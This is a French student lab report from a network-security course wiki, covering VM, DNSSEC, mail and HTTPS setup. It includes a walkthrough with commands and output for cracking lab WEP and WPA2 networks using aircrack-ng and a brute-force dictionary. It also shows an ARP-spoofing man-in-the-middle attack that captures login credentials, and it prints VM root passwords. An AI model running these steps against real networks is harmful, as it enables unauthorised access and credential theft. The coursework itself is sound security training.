On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54016TP sysres IMA2a5 2020/2021 G52020-11-27T17:17:12Z<p>Aglaine : /* Serveur SSH */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
